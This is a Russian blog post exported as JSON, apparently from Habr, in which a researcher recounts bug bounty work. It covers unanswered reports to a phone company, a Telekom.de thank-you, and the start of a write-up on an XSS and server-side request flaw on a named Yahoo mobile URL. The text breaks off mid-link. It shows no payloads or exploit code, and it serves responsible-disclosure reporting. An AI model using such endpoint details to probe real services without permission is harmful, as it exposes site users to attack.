{"id":212317,"date":"2014-02-12T14:01:03","date_gmt":"2014-02-12T10:01:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=212317"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=212317","title":{"rendered":"<span class=\"post_title\">\u0422\u0440\u0438\u0441\u0442\u0430 \u0434\u0435\u0432\u044f\u043d\u043e\u0441\u0442\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u043e\u043b\u043b\u0430\u0440\u0430<\/span>"},"content":{"rendered":"<div class=\"content html_format\"> \t\t\t\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f \u043e\u0442 Yahoo (\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e). \u0420\u0430\u0441\u0441\u043a\u0430\u0436\u0443, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u0451\u043b, \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u043f\u043e\u0440\u043e\u043b\u0441\u044f \u0438 \u043d\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0449\u0435\u0434\u0440\u044b\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c Yahoo. \u0416\u0434\u0443 \u0432\u0430\u0441 \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c!<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/efe\/6bc\/cc7\/efe6bccc7425663ad3db9c2f30ebb1de.jpg\" alt=\"Yahoo Bug Bounty\"\/><br \/>  <a name=\"habracut\"><\/a><\/p>\n<p>  \u042f \u0443\u0436\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0434\u0430\u0432\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0441\u044c \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0433\u0434\u0435-\u0442\u043e \u0441 2007 \u0433\u043e\u0434\u0430). \u041c\u043e\u0451 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f \u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u2014 \u044d\u0442\u043e \u043c\u043e\u0451 \u0445\u043e\u0431\u0431\u0438. \u0418\u0431\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0432 \u0440\u0443\u0442\u0438\u043d\u0443 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u0440\u044f\u0434 \u0430\u0434\u0440\u0435\u043d\u0430\u043b\u0438\u043d\u0430 \u043d\u0435 \u0445\u043e\u0447\u0443. \u041d\u043e \u0438 \u0445\u043e\u0431\u0431\u0438 \u0431\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043d\u044b\u043c. \u0418 \u0447\u0443\u0442\u044c \u043c\u0435\u043d\u044c\u0448\u0435 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u044f \u0440\u0435\u0448\u0438\u043b \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f. \u0421\u044a\u0435\u0437\u0434\u0438\u043b \u043d\u0430 PHDIII. \u0417\u0430\u043d\u044f\u043b \u0442\u0430\u043c \u043f\u043e\u0447\u0451\u0442\u043d\u043e\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0432 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0435 \u00abWAF Bypass\u00bb. \u041c\u043e\u0451 \u043b\u0438\u0447\u043d\u043e\u0435 \u043c\u043d\u0435\u043d\u0438\u0435 \u2014 \u0437\u0430\u043d\u044f\u043b \u044f \u0435\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0431\u044b\u043b \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0435 \u043f\u0440\u0438\u0441\u043b\u0430\u043b \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u043a\u043b\u044e\u0447:). \u041f\u0440\u0438\u043d\u044f\u043b \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u043e\u043d\u043b\u0430\u0439\u043d \u0438 \u043e\u0444\u0444\u043b\u0430\u0439\u043d \u044d\u0442\u0430\u043f\u0430\u0445 Symantec Cyber Readiness Challenge, \u0433\u0434\u0435 \u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e \u0438 \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u044e \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0432 \u0434\u0435\u0441\u044f\u0442\u043a\u0435 \u043b\u0443\u0447\u0448\u0438\u0445. \u0412 \u0446\u0435\u043b\u043e\u043c, \u0438 \u0441\u0435\u0431\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u0438 \u043d\u0430 \u0443\u043c\u043d\u044b\u0445 \u043b\u044e\u0434\u0435\u0439 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b. \u041d\u043e \u044d\u0442\u043e \u0432\u0441\u0451 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435 4 \u0441\u0442\u0443\u043f\u0435\u043d\u0438 \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u044b \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u041c\u0430\u0441\u043b\u043e\u0443. \u0410 \u044f, \u043a\u0430\u043a \u0438 \u043b\u044e\u0431\u043e\u0439 \u0436\u0438\u0432\u043e\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0445\u043e\u0447\u0443 \u0435\u0441\u0442\u044c. \u0418 \u043f\u043e\u0434\u0441\u043f\u0443\u0434\u043d\u043e\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0451 \u0445\u043e\u0431\u0431\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u043b\u043e \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u0435, \u043d\u043e \u0438 \u0434\u0435\u043d\u044c\u0433\u0438, \u043f\u0435\u0440\u0435\u0440\u043e\u0441\u043b\u043e \u0432 \u043d\u0430\u0432\u044f\u0437\u0447\u0438\u0432\u0443\u044e \u0438\u0434\u0435\u044e.<\/p>\n<p>  \u041f\u0435\u0440\u0435\u043b\u043e\u043c\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430 \u0421\u0435\u0440\u0433\u0435\u044f <a href=\"http:\/\/habrahabr.ru\/users\/belove\/\" class=\"user_link\">belove<\/a> <a href=\"http:\/\/habrahabr.ru\/company\/dsec\/blog\/200408\/\">\u0418\u0437\u0431\u0440\u0430\u043d\u043d\u043e\u0435: \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u043e IT \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438<\/a>. \u0413\u0434\u0435 \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u0443\u044e \u0432\u0435\u0449\u044c, \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0430\u043c \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043d\u0435 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c Bug Bounty. \u0413\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043e\u0442 Yandex, Google, Facebook, \u0431\u044b\u043b\u043e \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043e \u0438 \u043c\u043d\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u0438\u0445. \u041f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043e \u2014 \u0441\u0434\u0435\u043b\u0430\u043d\u043e.<\/p>\n<p>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u044f \u0432\u044b\u0431\u0440\u0430\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f \u043e\u0442 \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432 \u0438 \u0442\u0430\u043a\u0441\u043e\u0444\u043e\u043d\u043e\u0432. \u0414\u0432\u0435 \u0431\u0435\u0441\u0441\u043e\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u0435\u043b\u0438, \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043c\u043d\u0435, \u043d\u0435 \u043f\u0440\u043e\u0448\u043b\u0438 \u0437\u0440\u044f. \u041e\u043a\u043e\u043b\u043e 30 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445: SQLi \u043d\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0440\u0430\u0437\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438, \u0441\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435. \u041d\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u00ab\u041c\u044b \u0432\u0430\u0441 \u0443\u0441\u043b\u044b\u0448\u0430\u043b\u0438. \u0421 \u0432\u0430\u043c\u0438 \u0441\u0432\u044f\u0436\u0443\u0442\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f\u00bb, \u044f \u0437\u0430\u0434\u0443\u043c\u0430\u043b\u0441\u044f, \u0430 \u00ab\u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f\u00bb \u044d\u0442\u043e \u0441\u043a\u043e\u043b\u044c\u043a\u043e? \u041f\u043e\u0431\u0440\u043e\u0434\u0438\u043b \u043f\u043e \u0444\u043e\u0440\u0443\u043c\u0430\u043c \u0438 \u0432\u044b\u0440\u0438\u0441\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043b\u0438\u0446\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f. \u041e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0434\u043e\u043b\u0433\u043e, \u043e\u043e\u043e\u043e\u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e. \u041f\u0440\u0438 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0445\u043d\u0435\u0439 \u043f\u043b\u0430\u043d\u043a\u0435 \u0432 5000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u043f\u043b\u0430\u0442\u044f\u0442 \u0441\u0443\u0449\u0438\u0435 \u043a\u043e\u043f\u0435\u0439\u043a\u0438. \u0418 \u0432 \u0446\u0435\u043b\u043e\u043c \u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430 \u0432\u0435\u0441\u044c\u043c\u0430 \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043c\u043d\u0435\u043d\u0438\u0435 \u043e\u0431 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 \u043c\u0435\u043d\u044f \u0441\u0433\u043e\u0440\u0435\u043b \u043d\u043e\u0443\u0442\u0431\u0443\u043a \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c\u0438 \u043d\u0430\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f \u043d\u0435 \u0431\u044d\u043a\u0430\u043f\u0438\u043b. \u042f \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u044f\u043b \u044d\u0442\u043e \u043a\u0430\u043a \u0437\u043d\u0430\u043a \u0441\u0443\u0434\u044c\u0431\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u043b \u0432\u043e\u043b\u0435\u0432\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435: \u00ab\u042f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u043d\u043e\u0433\u043e \u043d\u0435 \u0441\u043f\u0430\u043b, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u0441\u043b\u0430\u0442\u044c \u043e\u0442\u0447\u0451\u0442\u044b, \u043d\u0435 \u0432\u0438\u0434\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438.\u00bb \u0412 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043d\u0435 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u043e\u0445\u0430\u044f \u2014 \u043e\u043d\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 9 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u0440\u0430\u0432\u0434\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u0430 \u2014 \u0440\u0430\u0437\u0431\u0440\u043e\u0441 \u043f\u043e \u0434\u0430\u0442\u0430\u043c, \u0440\u0430\u0437\u0431\u0440\u043e\u0441 \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438. \u0418, \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u0435\u043d\u044f \u0436\u0434\u0451\u0442 \u043b\u043e\u0442\u0435\u0440\u0435\u044f \u2014 \u0434\u0435\u043d\u044c\u0433\u0438 \u0437\u0430\u043f\u043b\u0430\u0442\u044f\u0442 \u043b\u0438\u0448\u044c \u0434\u0435\u0441\u044f\u0442\u0438 \u043b\u0443\u0447\u0448\u0438\u043c \u0437\u0430 \u043a\u0432\u0430\u0440\u0442\u0430\u043b. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0436\u0443\u0442 \u0441\u043f\u0430\u0441\u0438\u0431\u043e. \u0411\u043e\u043b\u044c\u0448\u0435 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0435 \u043c\u043e\u0433\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435 \u044f\u0441\u0435\u043d \u0441\u0442\u0430\u0442\u0443\u0441 \u0434\u0430\u0436\u0435 \u0442\u0435\u0445 \u043e\u0448\u0438\u0431\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438.<\/p>\n<p>  \u041d\u043e \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u2014 \u043d\u0430 \u0434\u0432\u043e\u0440\u0435 \u043a\u0430\u043a \u0440\u0430\u0437 \u0431\u044b\u043b\u0430 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0430 \u043d\u043e\u044f\u0431\u0440\u044f. \u0418 \u044f \u0438\u0441\u043a\u0430\u043b \u043d\u043e\u0432\u0443\u044e \u0436\u0435\u0440\u0442\u0432\u0443. \u041c\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0443\u0447\u0430\u0441\u0442\u0438\u044e \u0432 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445 \u0431\u044b\u043b \u043f\u043e\u0434\u043e\u0433\u0440\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u043e\u043c \u043e\u0442 <a href=\"http:\/\/www.telekom.com\/bug-bounty-program\">Telekom.de<\/a>, \u0433\u0434\u0435 \u043e\u043d\u0438 \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0438 \u043c\u0435\u043d\u044f \u0437\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0418, \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0451 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u043c, \u043e\u043d\u0438 \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0442\u044f\u0442 \u0432\u044b\u0441\u043b\u0430\u0442\u044c \u043c\u043d\u0435 50 \u0435\u0432\u0440\u043e \u0437\u0430 \u0441\u0442\u0430\u0440\u0430\u043d\u0438\u044f \u0438 \u0436\u0434\u0443\u0442 \u043e\u0442 \u043c\u0435\u043d\u044f \u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u043e\u0432.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/56b\/a79\/717\/56ba797175c78c1b513dde869ab66d8a.png\" alt=\"Telekom.de Bug Bounty\"\/><\/p>\n<p>  \u0418 \u0442\u0443\u0442 \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0448\u043a\u0432\u0430\u043b \u0442\u0432\u0438\u0442\u043e\u0432, \u043f\u043e\u0441\u0442\u043e\u0432 \u0438 \u043b\u0430\u0439\u043a\u043e\u0432 \u0441 \u043e\u0431\u0449\u0438\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u00abYahoo \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043d\u0435\u0442 \u0441\u043b\u0430\u0442\u044c \u0444\u0443\u0442\u0431\u043e\u043b\u043a\u0438 \u043d\u0430 \u0434\u0435\u043d\u044c\u0433\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430 \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f\u00bb. \u0411\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0448\u0451\u043b <a href=\"http:\/\/bugbounty.yahoo.com\/\">\u0441\u0441\u044b\u043b\u043a\u0443<\/a> \u043d\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u043a\u0440\u044b\u043b\u0430\u0441\u044c \u0441 1 \u043d\u043e\u044f\u0431\u0440\u044f 2013 \u0433\u043e\u0434\u0430. \u0421 1 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2014 \u0433\u043e\u0434\u0430 \u043e\u043d\u0438 \u0441\u043a\u043e\u043e\u043f\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441 HackerOne \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043b\u0430\u0442\u044c \u043d\u0430\u0434\u043e \u0432\u043e\u0442 <a href=\"https:\/\/hackerone.com\/yahoo\">\u0441\u044e\u0434\u0430<\/a>. \u042f \u043d\u0430\u0434\u0435\u044f\u043b\u0441\u044f, \u0447\u0442\u043e \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a \u0441 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043c\u043e\u0440\u043e\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u043f\u043e\u043b\u0433\u043e\u0434\u0430 \u0438 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0441\u0442\u0430\u0440\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u043d\u044f\u0442\u044c \u0441\u043b\u0438\u0432\u043a\u0438. \u0421\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443 \u2014 \u043c\u043e\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443. <\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u044f \u043f\u0440\u043e\u0432\u0451\u043b \u0432 \u043d\u0430\u0443\u0447\u043d\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0435 \u0442\u044b\u043a\u0430. \u0415\u0441\u0442\u044c \u0443 \u043c\u0435\u043d\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0438 \u2014 \u0447\u0442\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c, \u043a\u0443\u0434\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c. \u0414\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0434\u043e \u0431\u044b\u043b\u043e \u043e\u0433\u043b\u044f\u0434\u0435\u0442\u044c\u0441\u044f. <\/p>\n<h5>\u0427\u0430\u0441\u0442\u044c \u043f\u0435\u0440\u0432\u0430\u044f. XSS \u043d\u0430 tw.m.yahoo.com.<\/h5>\n<p>  \u041d\u0430 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0434\u0435\u043d\u044c \u043c\u043e\u0435\u0433\u043e \u0448\u0430\u0442\u0430\u043d\u0438\u044f \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0443\u0440\u043b (<i><a href=\"http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html&amp;.ts=1384478129&amp;.intl=tw&amp;.lang=zh-hant-tw\">http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html&#038;.ts=1384478129&#038;.intl=tw&#038;.lang=zh-hant-tw<\/a><\/i>). \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0435 \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u044f \u0438\u0434\u0443 \u0432 \u0432\u0435\u0440\u043d\u043e\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u044f \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>url<\/i>. <br \/>   \u2014 \u00ab\u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c Iframe?\u00bb \u2014 \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u044f.<br \/>  \u041d\u043e \u043d\u0435\u0442, \u044d\u0442\u043e \u0431\u044b\u043b \u0441\u0430\u043c\u044b\u0439 \u0447\u0442\u043e \u043d\u0438 \u043d\u0430 \u0435\u0441\u0442\u044c server-side request. \u041a\u0430\u043a \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<br \/>  1. \u0421\u043a\u0440\u0438\u043f\u0442 \u0431\u0435\u0440\u0451\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>url<\/i><br \/>  2. \u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e, \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e json-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 (<i><a 